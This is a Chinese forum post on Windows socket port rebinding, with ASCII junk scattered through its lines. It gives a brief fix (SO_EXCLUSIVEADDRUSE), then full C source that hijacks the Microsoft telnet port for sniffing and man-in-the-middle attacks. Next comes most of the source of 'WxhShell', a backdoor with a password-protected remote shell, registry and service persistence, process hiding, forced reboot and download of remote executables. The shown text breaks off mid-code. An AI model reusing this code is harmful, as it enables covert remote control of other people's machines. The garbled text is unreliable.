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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ca+5=+X7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dOa%9[  
Eke5Nb  
  saddr.sin_family = AF_INET; >EY3/Go>  
fb^fVSh>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mI74x3 [  
I? ,>DHUX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )GHq/:1W  
~69&6C1Ch  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J2:y6kGj>  
'7O3/GDK  
  这意味着什么?意味着可以进行如下的攻击: lg^Z*&(  
v:H$<~)E|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #%DE;  
;!yQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -'6Dg  
21"1NJzP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c/sC&i;%O  
j]`PSl+w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .V,@k7U,V  
p, #o<W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B_.%i+ZZ  
~@}Bi@*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F w?[lS  
ZHa"isl$e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \-g)T}g,I  
_*f`iu:`  
  #include 3W N@J6?  
  #include q.;u?,|E/  
  #include i{`:(F5*  
  #include    vam;4vyu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uA< n  
  int main() nR*ryv  
  { \.-bZ$  
  WORD wVersionRequested; }~L.qG  
  DWORD ret; s%W C/ZK  
  WSADATA wsaData; j:v@pzTD  
  BOOL val; F%RRd/'  
  SOCKADDR_IN saddr; y gz6C  
  SOCKADDR_IN scaddr; tS6qWtE  
  int err; ;>Ib^ov  
  SOCKET s;  tVN  
  SOCKET sc; EFM5,gB.m  
  int caddsize; WvY? +JXJ  
  HANDLE mt; ~UP[A'9jJ  
  DWORD tid;   MDnua  
  wVersionRequested = MAKEWORD( 2, 2 ); "~|6tQLc  
  err = WSAStartup( wVersionRequested, &wsaData ); GBPo8L"9  
  if ( err != 0 ) { Q~#Wf ?  
  printf("error!WSAStartup failed!\n"); YIG~MP  
  return -1; m+]K;}.}R  
  } {'NvG  
  saddr.sin_family = AF_INET; , s"^kFl  
   5Odhb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0Qf,@^zL*  
u7>],<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yPb"V  
  saddr.sin_port = htons(23); z7fp#>uw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0x@6^ %^\  
  { *XIF)Q=<>  
  printf("error!socket failed!\n"); +nFu|qM}  
  return -1; fHx*e'eA  
  } n{ar gI8wF  
  val = TRUE; %]}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Rl?_^dPx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _@ qjV~%Sy  
  { V17%=bCZ5[  
  printf("error!setsockopt failed!\n"); 2K/4Rf0;  
  return -1; h-`?{k&e  
  } TNe l/   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K0|FY=#2y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X^wt3<Kbf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -=)H{  
(c=6yV@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DEKP5?]  
  { {EB;h\C  
  ret=GetLastError(); *av<E  
  printf("error!bind failed!\n"); ; F"g$_D0  
  return -1; <lPm1/8  
  } y.mda:$~=  
  listen(s,2); /~%&vpF-L  
  while(1) On9A U:\  
  { `ts$(u.w  
  caddsize = sizeof(scaddr); *v^Jb/E315  
  //接受连接请求 gwuI-d^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XpB_N{v9w  
  if(sc!=INVALID_SOCKET) Q4#m\KK;i9  
  { Hw}Xbp[y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  dVtG/0  
  if(mt==NULL) /L g)i\R;  
  { JE "x  
  printf("Thread Creat Failed!\n"); u5`u>.!  
  break; xX&+WR  
  } n,y ZRY  
  } RB7tmJ c  
  CloseHandle(mt); y@S$^jk.  
  } !Iy_UfW  
  closesocket(s); *SJ_z(CZm  
  WSACleanup(); @alK;\  
  return 0; ? =Z?6fw  
  }   HmGWht6R  
  DWORD WINAPI ClientThread(LPVOID lpParam) pK>N-/?a  
  { T4Uev*A  
  SOCKET ss = (SOCKET)lpParam; ZPLm]I\]  
  SOCKET sc; e8a+2.!&\  
  unsigned char buf[4096]; R`qFg/S  
  SOCKADDR_IN saddr; z\W64^'"Z  
  long num; UcHJR"M~c  
  DWORD val; -l*|M(N\  
  DWORD ret; tCH!my_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F0TB<1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W:2( .?  
  saddr.sin_family = AF_INET; m.rmM`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z2~ til  
  saddr.sin_port = htons(23); GR_-9}jQP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j_?FmX _  
  { m=:9+z  
  printf("error!socket failed!\n"); 0Th&iA4  
  return -1; j3V -LnA  
  } zR:L! S  
  val = 100; TF\C@4Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'n3uu1C  
  { 6<QQ@5_  
  ret = GetLastError(); JX;G<lev  
  return -1; WSB 0~+  
  } `*R:gE=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! n@KU!&k  
  { BX7kO0j  
  ret = GetLastError(); 013x8!i  
  return -1; A?P_DA  
  } AQvudx)@"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k="i;! G e  
  { G5 WVr$  
  printf("error!socket connect failed!\n"); Wh*uaad7  
  closesocket(sc); tT_\i6My  
  closesocket(ss); \_f(M|  
  return -1; + [mk<pQ  
  } HIZe0%WPw  
  while(1) mCVFS=8V  
  { OQJ6e:BGt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h S&R(m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &V/Mmm T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (O3nL.  
  num = recv(ss,buf,4096,0); #@Jq~$N|  
  if(num>0) DB}eA N/  
  send(sc,buf,num,0); ?6WY:Zec@  
  else if(num==0) `[ir}+S  
  break; wb l&  
  num = recv(sc,buf,4096,0); ISvpQ 3{)s  
  if(num>0) &D*b|ilvc  
  send(ss,buf,num,0); ( a#BV}=  
  else if(num==0) 4.t-i5  
  break; H/M@t\$Dc  
  } vdwsJPFbc  
  closesocket(ss); ;:NJCuG  
  closesocket(sc); PEZ!n.'S  
  return 0 ; 3^yK!-Wp(  
  } F:S}w   
0</);g}  
$IpccZpA  
========================================================== SE*g;Cvg1  
)9]PMA?u  
下边附上一个代码,,WXhSHELL 9hyn`u.  
U 6)#}   
========================================================== dSHDWu&  
5Gm_\kd  
#include "stdafx.h" La[V$+Y  
do'GlU oMC  
#include <stdio.h> FGzwhgy  
#include <string.h> G 01ON0  
#include <windows.h> r5^eNg k  
#include <winsock2.h> pd$[8Rmj_  
#include <winsvc.h> ^S; -fYW2  
#include <urlmon.h> 6_B]MN!(  
VUuE T  
#pragma comment (lib, "Ws2_32.lib") 6ik$B   
#pragma comment (lib, "urlmon.lib") f _:A0  
@2i9n  
#define MAX_USER   100 // 最大客户端连接数 &UFZS94@r  
#define BUF_SOCK   200 // sock buffer *{5fq_  
#define KEY_BUFF   255 // 输入 buffer uPvEwq* C  
CTmT@A{  
#define REBOOT     0   // 重启 1|:KQl2q  
#define SHUTDOWN   1   // 关机  Nz-&MS  
'Pbr v  
#define DEF_PORT   5000 // 监听端口 :k#HW6p  
2~[juWbz  
#define REG_LEN     16   // 注册表键长度 +kD R.E:  
#define SVC_LEN     80   // NT服务名长度 (cO:`W6.  
7d\QB (~  
// 从dll定义API *m(=V1"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l U]nd[x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4<v&S2Yq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x?<FJ"8"k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FP>2C9:d  
NHE18_v5  
// wxhshell配置信息 5mR 1@  
struct WSCFG { 0"SU_j Qzv  
  int ws_port;         // 监听端口 fV~[;e;U.  
  char ws_passstr[REG_LEN]; // 口令 9- # R)4_  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dt1jW  
  char ws_regname[REG_LEN]; // 注册表键名 XK vi=0B  
  char ws_svcname[REG_LEN]; // 服务名 \{D" !e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zT{ VE+=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !5N.B|N t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s#GLJl\E_P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7|H$ /]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G+m }MOQP7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2KZneS`  
u1.BN>G  
}; +cRn%ioVi  
&M[?h}B6  
// default Wxhshell configuration 3(UVg!t  
struct WSCFG wscfg={DEF_PORT, '<uq3?5  
    "xuhuanlingzhe", p K$`$H  
    1, [-x7_=E#  
    "Wxhshell", V~ _>U}  
    "Wxhshell", & nK<:^n  
            "WxhShell Service", dF2RH)Ud  
    "Wrsky Windows CmdShell Service", I`#JwMU;m  
    "Please Input Your Password: ", ss-D(K"  
  1, yCo.cd-  
  "http://www.wrsky.com/wxhshell.exe", eV~goj  
  "Wxhshell.exe" Q59W#e)  
    }; K> e7pu  
.G\7cZ  
// 消息定义模块 Ir]\|t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 54qFfN8O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `y0FY&y=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FgO)DQm  
char *msg_ws_ext="\n\rExit."; M^I(OuRMeI  
char *msg_ws_end="\n\rQuit."; aQ~s`^D  
char *msg_ws_boot="\n\rReboot..."; I}Q2Vu<  
char *msg_ws_poff="\n\rShutdown..."; ~)'k 9?0  
char *msg_ws_down="\n\rSave to "; dqAw5[qMJ  
']oQ]Yx0  
char *msg_ws_err="\n\rErr!"; D`AsRd  
char *msg_ws_ok="\n\rOK!"; H)&R=s  
%>s |j'{  
char ExeFile[MAX_PATH]; {XHh8_ ^&  
int nUser = 0; h7@6T+#WoT  
HANDLE handles[MAX_USER]; K+iP 6B  
int OsIsNt; cj@koA'  
9>$p  
SERVICE_STATUS       serviceStatus; Dhv3jg;lq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4.(4x&  
BORA(,  
// 函数声明 .8|X   
int Install(void); ]R? 4{t4  
int Uninstall(void); CH/rp4NeSy  
int DownloadFile(char *sURL, SOCKET wsh); 5(8@%6>ruj  
int Boot(int flag); aN=B]{!  
void HideProc(void); Qci]i)s$js  
int GetOsVer(void); @lt#Nz  
int Wxhshell(SOCKET wsl); 3N:D6w-R  
void TalkWithClient(void *cs); j~QwV='S  
int CmdShell(SOCKET sock); L4f3X~8,b  
int StartFromService(void); )_NO4`ejs/  
int StartWxhshell(LPSTR lpCmdLine); \(T /O~b2  
;=UsAB]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u2[w#   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Lt[\_  
QdC<Sk!G  
// 数据结构和表定义 3BLqCZ  
SERVICE_TABLE_ENTRY DispatchTable[] = wdZ/Xp9]  
{ s9d_GhT%-  
{wscfg.ws_svcname, NTServiceMain}, [1KuzCcK}  
{NULL, NULL} E~:x(5'%d  
}; ~v"L!=~G;a  
 Mc}^LDX  
// 自我安装 =I~mKn  
int Install(void) bYPKh  
{ ;S*}WqP,  
  char svExeFile[MAX_PATH]; 3yXY.>'  
  HKEY key; <Ok3FE.K  
  strcpy(svExeFile,ExeFile); 8KNZ](Dj  
r"R#@V\'1b  
// 如果是win9x系统,修改注册表设为自启动 #5j\C+P}|  
if(!OsIsNt) { e~':(/%|5;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 u0HI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $tS}LN_!  
  RegCloseKey(key); ]$_NyAoBb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 Vrw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GM<-&s!Uj  
  RegCloseKey(key); 7\q~%lDE  
  return 0; 8&aq/4:q0  
    } \'bzt"f$j  
  } r>U@3%0&  
} O1mKe%'|  
else { r0gJpttDl  
pV"R|{#V  
// 如果是NT以上系统,安装为系统服务 t<viX's  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #lW`{i  
if (schSCManager!=0) 8ITdSg  
{ r$~HfskeI  
  SC_HANDLE schService = CreateService 1y4  
  ( Ez=Olbk  
  schSCManager, {!dVDf_  
  wscfg.ws_svcname, d<N:[Y\4l  
  wscfg.ws_svcdisp, h2""9aP !  
  SERVICE_ALL_ACCESS, e@OX_t_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (*)hD(C5  
  SERVICE_AUTO_START, $ DSZO!pB  
  SERVICE_ERROR_NORMAL, {jX2}  
  svExeFile, HoL Et8Q  
  NULL, H+Sz=tg5  
  NULL, KyQX!,rV  
  NULL, Np0u,t%vs  
  NULL, 0=E]cQwh  
  NULL v oj^pzZ  
  ); <yFu*(Q  
  if (schService!=0) W1=H8 O  
  { 'y3!fN =h  
  CloseServiceHandle(schService);  1HZO9cXJ  
  CloseServiceHandle(schSCManager); 7s{GbU\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pD#rnp>WWt  
  strcat(svExeFile,wscfg.ws_svcname); e&aWq@D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )f<z% :I+Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8q}q{8  
  RegCloseKey(key); 5S--'=fu+  
  return 0; ^RtIh-Z.9  
    } c|@bwat4  
  } ^qD$z=z-  
  CloseServiceHandle(schSCManager); *6DB0X_-}  
} tHwMX1 IG  
} P! #[mio  
OA"q[s  
return 1; &AbNWtCV+G  
} hp-<2i^"!  
oHn Ky[1  
// 自我卸载 >_"an~Ss  
int Uninstall(void) e [mm  
{ D!-g&HBTC  
  HKEY key; EE'io5\et  
]>nk"K!%  
if(!OsIsNt) { f5VLw`m}.8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EVC]sUT  
  RegDeleteValue(key,wscfg.ws_regname); G^4hd i3@  
  RegCloseKey(key); GM f `A,>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nwRc%C``UK  
  RegDeleteValue(key,wscfg.ws_regname); LR.<&m%~.  
  RegCloseKey(key); fN^8{w/O  
  return 0; B; h"lv  
  } G.a bql  
} N.{H,oO `  
} Ata:^qI  
else { V_}"+&W9  
3>`mI8 $t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hVAn>_(  
if (schSCManager!=0) HjD8u`qQ  
{ ryUQU^v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;m{1 _1  
  if (schService!=0) 'UX!*5k<:  
  { k(7&N0V%zz  
  if(DeleteService(schService)!=0) { 'RYIW/a  
  CloseServiceHandle(schService); x vl#w  
  CloseServiceHandle(schSCManager); q"sed]  
  return 0; qCpp6~]Um  
  } dkBIx$t  
  CloseServiceHandle(schService); &zeyE;/Hj  
  } *>'V1b4}  
  CloseServiceHandle(schSCManager); &LZn FR  
} vB|hZTW  
} Pz|>"'  
J76kkW`5  
return 1; Ed,~1GanY  
} JZ*/,|1}EC  
Gm.T;fc:  
// 从指定url下载文件 j9 4=hJVKi  
int DownloadFile(char *sURL, SOCKET wsh) ?; +1)>{  
{ +LZLy9iKt  
  HRESULT hr; >#~& -3  
char seps[]= "/"; dIa+K?INX  
char *token; L Mbn  
char *file; #crQ1p) \  
char myURL[MAX_PATH]; =9["+;\e&  
char myFILE[MAX_PATH]; lVR~Bh  
}`QUHIF  
strcpy(myURL,sURL); #Z`q+@@ ]A  
  token=strtok(myURL,seps); OSWYGnZg  
  while(token!=NULL) ith 3 =`3  
  { [OV"}<V  
    file=token; $i}y8nlQ  
  token=strtok(NULL,seps); >WQMqQ^t@  
  } ;I 9&]   
EZy)A$|  
GetCurrentDirectory(MAX_PATH,myFILE); 3<Zq ]jk?n  
strcat(myFILE, "\\"); ceh j;  
strcat(myFILE, file); EQyC1j  
  send(wsh,myFILE,strlen(myFILE),0); { MSkHf=  
send(wsh,"...",3,0); 4Lh!8g=/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '()xHEGl3  
  if(hr==S_OK) YpZ+n*&+  
return 0; F2dHH^  
else V b4#,  
return 1; m!4ndO;0vh  
,o{9$H5{  
} "Hb"F?Yb  
7he,?T)vD  
// 系统电源模块 1i"WDu*h3  
int Boot(int flag) }Qc@m9;bH  
{ {3p4:*}  
  HANDLE hToken; =J]]EoX/  
  TOKEN_PRIVILEGES tkp; ^ f &XQQY  
:q7Wy&ow  
  if(OsIsNt) { =wHVsdNCN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *_{j=sd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ZrxD`1L  
    tkp.PrivilegeCount = 1; ia~HQ$'+n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xy&A~F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ar|0b}=)>  
if(flag==REBOOT) { M~#gRAUJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e7r -R3_  
  return 0; Sh~dwxp*"  
} <#y[gTJ<'>  
else { 3cyHfpx-W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d>&,9c%  
  return 0; @* jz o  
} Z{Qu<vy_  
  } 5 +YH.4R  
  else { x{8xW0  
if(flag==REBOOT) { uR4z &y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  E`0?  
  return 0; m 3hrb-  
} S6M}WR^,  
else { <X^@*79m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B6As,)RjD:  
  return 0; k&q;JyUi  
} IH&|Tcf\  
} |t&>5HM  
gHEu/8E  
return 1; ~ 'H ]jN  
} ) 0W{]2  
f#"J]p  
// win9x进程隐藏模块 ~&_z2|UXp  
void HideProc(void) Y%aCMP9j~9  
{ SC!RbW@3  
f4b/NG|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )Y0!~# `  
  if ( hKernel != NULL ) &|ex`nwc0  
  { r:'.nhe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w"|L:8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k[YS8g-Q  
    FreeLibrary(hKernel); 8.=BaNU  
  } S-b/S5  
oj<gD  
return; 8)3*6+D  
} wqs? 828x  
P[ck84F/  
// 获取操作系统版本 7wqK>Y1a  
int GetOsVer(void) I@~QV@U  
{ JPUW6e07o  
  OSVERSIONINFO winfo; P%VSAh\|n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RFcv^Xf  
  GetVersionEx(&winfo); 4Uo&d#o)C-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3m)0z{n  
  return 1; ~?Pw& K2  
  else 6]N;r5n  
  return 0; fu ,}1Mq#  
} 1{. |+S Z!  
nEy&>z  
// 客户端句柄模块 X-Kh(Z  
int Wxhshell(SOCKET wsl) gzT*-  
{ 1#2 I  
  SOCKET wsh; ncdKj}  
  struct sockaddr_in client; [5b--O  
  DWORD myID; iB yf{I>+  
y9GoPC`z  
  while(nUser<MAX_USER)  KC6.Fr{  
{ wv1iSfW  
  int nSize=sizeof(client); 69NeQ$](  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]|a g  
  if(wsh==INVALID_SOCKET) return 1; OLGE!&!>  
P>D)7 V9Hh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q:0N<$63  
if(handles[nUser]==0)  'KL0@l  
  closesocket(wsh); Eyqa?$R  
else 6l x>>J!H  
  nUser++; &`r-.&Y  
  } ,^< R{{{-A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k%#EEMh  
..5CC;B  
  return 0; @Uvz8*b6  
} _6hQ %hv8  
I;(L%TT `  
// 关闭 socket 3(N$nsi  
void CloseIt(SOCKET wsh) H$t_Xw==  
{ RSRS wkC  
closesocket(wsh); ltSU fI  
nUser--; d&Zpkbh"  
ExitThread(0); o5PO =AN  
} eC4[AX6e  
o:'MpKm  
// 客户端请求句柄 r Z$O?K  
void TalkWithClient(void *cs) Mfuv0P~  
{ JPHL#sKyz  
R) h#Vc(  
  SOCKET wsh=(SOCKET)cs; | YWD8 +  
  char pwd[SVC_LEN]; _;y9$"A  
  char cmd[KEY_BUFF]; {S)6;|ua'  
char chr[1]; u&vf+6=9Dd  
int i,j; YkSl^j[DHs  
jB2[(  
  while (nUser < MAX_USER) { $%d*@ 'c  
_|2:_N=   
if(wscfg.ws_passstr) { O0v}43J [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >]TWXmx/w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :3Ox~o  
  //ZeroMemory(pwd,KEY_BUFF); ~ .g@hS8>  
      i=0; !f [_+CD  
  while(i<SVC_LEN) { 9cF[seE"0  
@Nx 9)  
  // 设置超时 cuI TY^6  
  fd_set FdRead; B9z?mt'|r)  
  struct timeval TimeOut;  mq.`X:e  
  FD_ZERO(&FdRead); vvMT}-!  
  FD_SET(wsh,&FdRead); j,eo2HaL  
  TimeOut.tv_sec=8; X+9>A.92  
  TimeOut.tv_usec=0; Yj49t_$b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rM%1GPVob  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (L&d!$,Dv  
"KpGlY?^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =dKtV.L  
  pwd=chr[0]; va@Lz&sAE%  
  if(chr[0]==0xd || chr[0]==0xa) { n_A3#d<9  
  pwd=0; Ti5-6%~&  
  break; S=5o < 1  
  } O^ yG?b  
  i++; CA~-rv  
    } ,f>k%_U}  
_Fl9>C"u  
  // 如果是非法用户,关闭 socket Vc Z3 X4/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $U~]=.n  
} 0GeTS Fj  
#\m<Sz5Gp#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f]CXu3w(J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  qX{+oy5  
YS0<qSN  
while(1) { U Cjld  
Q![@c   
  ZeroMemory(cmd,KEY_BUFF); e\L8oOk#r  
6i/(5 nQ  
      // 自动支持客户端 telnet标准   }|=|s f  
  j=0; R\[e!g*I  
  while(j<KEY_BUFF) { /\n- P'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =aW9L)8D  
  cmd[j]=chr[0]; L!xi  
  if(chr[0]==0xa || chr[0]==0xd) { NgPk&niM  
  cmd[j]=0; gPPkT"  
  break; tR$NRMZ.  
  } (sZ"iGn%  
  j++; 8":Q)9;%  
    } mC#>33{  
WpvhTX  
  // 下载文件 ]Y&VT7+Z  
  if(strstr(cmd,"http://")) { &oMh]Z*:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f/?P514h  
  if(DownloadFile(cmd,wsh)) ~D>p0+-c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |FRg\#kf%  
  else 8}:nGK|kx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |[8Th4*n  
  } Ny/MJ#Lq  
  else { Nh +H9  
}jPSUdo  
    switch(cmd[0]) { C0Z=~Q%  
  dWBA1p  
  // 帮助 :ShT|n7  
  case '?': { OY({.uVdX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j?QDR  
    break; BiBOr}ZQ  
  } _yR^*}xJb  
  // 安装 Wd ELV3  
  case 'i': { rytyw77t(  
    if(Install()) .=; ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZo} ;|~'  
    else @C aG9]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); klhtKp_p  
    break; _q^E,P  
    } mX|ojZ  
  // 卸载 k9F=8q  
  case 'r': { EoDA]6?Lj  
    if(Uninstall()) Dvln/SBk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:.eGH_f  
    else OZ;*JR:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /qw.p#  
    break; 2:ylv<\$  
    } vZ Lf  
  // 显示 wxhshell 所在路径 u]@['7  
  case 'p': { Rf 1x`wml  
    char svExeFile[MAX_PATH]; x,Vr=FB  
    strcpy(svExeFile,"\n\r"); / XIhj  
      strcat(svExeFile,ExeFile); i!Ga5v8n:  
        send(wsh,svExeFile,strlen(svExeFile),0); bZV/l4TU  
    break; Z?z.?a r  
    } :BT q!>s  
  // 重启 { (}By/_  
  case 'b': { u#SWj,X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ehY5!D1Q  
    if(Boot(REBOOT)) WX0tgXl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Af{"pzY  
    else { "zy7C*)>r  
    closesocket(wsh); a.6(K  
    ExitThread(0); cN9t{.m  
    } 4X|zmr:A  
    break; |^H5^k "Bv  
    } ~2khgZ  
  // 关机 delu1r  
  case 'd': { t}tEvh  
